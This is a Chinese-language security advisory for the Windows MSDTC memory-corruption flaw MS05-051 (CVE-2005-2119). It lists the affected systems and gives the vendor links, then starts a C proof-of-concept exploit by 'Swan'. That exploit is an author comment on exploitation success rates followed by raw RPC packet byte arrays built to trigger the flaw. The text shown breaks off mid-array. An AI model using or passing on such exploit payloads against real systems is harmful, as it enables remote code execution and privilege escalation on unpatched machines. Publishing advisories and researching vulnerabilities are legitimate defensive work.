Microsoft Windows MSDTC内存破坏漏洞(MS05-051)

发布日期：2005-10-12
更新日期：2005-11-27

受影响系统：

Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000SP4

不受影响系统：

Microsoft Windows ME
Microsoft Windows 98se
Microsoft Windows 98

描述：

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BUGTRAQ ID: 15056
CVE(CAN) ID: CVE-2005-2119

Microsoft Windows是微软发布的非常流行的操作系统，Microsoft分布式事务处理协调器(MSDTC)是Microsoft Windows 平台的一个分布式事务处理设备。

Microsoft Windows MSDTC处理用户请求存在漏洞，允许远程攻击者在任意内存地址写入有限有限的数据字节，成功利用此漏洞可以在一些Windows系统上执行任意指令，从而完全控制系统。

在Windows 2000上，这是一个远程执行代码漏洞。在Windows XP Service Pack 1和Windows Server 2003上，这是一个本地特权提升漏洞。 在Windows XP Service Pack 1上，如果启动了Microsoft MSDTC，这还会变为一个远程执行代码漏洞。

<*来源：Eeye Digital Security

链接：http://www.microsoft.com/technet/security/bulletin/MS05-051.mspx
http://www.us-cert.gov/cas/techalerts/TA05-284A.html
http://www.eeye.com/html/research/advisories/AD20051011b.html
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Swan (Swan[at]0x557[dot]org) 提供了如下测试代码：

/*
Hard to exploit, isn't it? I have tested it on 10 box, most of them allocated 0x9X0058 for
me, however, I cannot write the pointer to 0x7ffdf020 since the length I can control should be
divided exactly by 8 (***), so I choose 0x684191c4.
This following program is mostly like a D.O.S. 10 blackbox were tested, only 5 were owned,
and I think the successful rate should be much lower in real circumstance.
I mark it as a POC and wish someone (no hat) could supply us a much better exploit. It is
said that this fault could be steered clear of and another segfault is consequently triggered,
so...

Any mails are welcome but spam, I need NO viagra. Je suis celibataire.

Greetz:
All SST guys, I love your bald heads that never hatted.
Shuo Yang, I love you.
OYXin, ...

Code by:
Swan (Swan[at]0x557[dot]org)
*/

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")

char peer0_0[72] = {
(char)0x05, (char)0x00, (char)0x0b, (char)0x03, (char)0x10, (char)0x00, (char)0x00, (char)0x00,
(char)0x48, (char)0x00, (char)0x00, (char)0x00, (char)0x01, (char)0x00, (char)0x00, (char)0x00,
(char)0xd0, (char)0x16, (char)0xd0, (char)0x16, (char)0x00, (char)0x00, (char)0x00, (char)0x00,
(char)0x01, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x01, (char)0x00,
(char)0xe0, (char)0x0c, (char)0x6b, (char)0x90, (char)0x0b, (char)0xc7, (char)0x67, (char)0x10,
(char)0xb3, (char)0x17, (char)0x00, (char)0xdd, (char)0x01, (char)0x06, (char)0x62, (char)0xda,
(char)0x01, (char)0x00, (char)0x00, (char)0x00, (char)0x04, (char)0x5d, (char)0x88, (char)0x8a,
(char)0xeb, (char)0x1c, (char)0xc9, (char)0x11, (char)0x9f, (char)0xe8, (char)0x08, (char)0x00,
(char)0x2b, (char)0x10, (char)0x48, (char)0x60, (char)0x02, (char)0x00, (char)0x00, (char)0x00 };

char peer0_1[1024] = {
(char)0x05, (char)0x00, (char)0x00, (char)0x83, (char)0x10, (char)0x00, (char)0x00, (char)0x00,
(char)0x2c, (char)0x05, (char)0x00, (char)0x00, (char)0x01, (char)0x00, (char)0x00, (char)0x00,
(char)0x04, (char)0x05, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x07, (char)0x00,
(char)0xe0, (char)0x0c, (char)0x6b, (char)0x90, (char)0x0b, (char)0xc7, (char)0x67, (char)0x10,
(char)0xb3, (char)0x17, (char)0x00, (char)0xdd, (char)0x01, (char)0x06, (char)0x62, (char)0xda,
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00,
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00,
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00,
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x06, (char)0x00, (char)0x00, (char)0x00,
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x06, (char)0x00, (char)0x00, (char)0x00,
(char)0x31, (char)0x00, (char)0x31, (char)0x00, (char)0x31, (char)0x00, (char)0x31, (char)0x00,
(char)0x31, (char)0x00, (char)0x00, (char)0x00, (char)0x07, (char)0x00, (char)0x00, (char)0x00,
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x07, (char)0x00, (char)0x00, (char)0x00,

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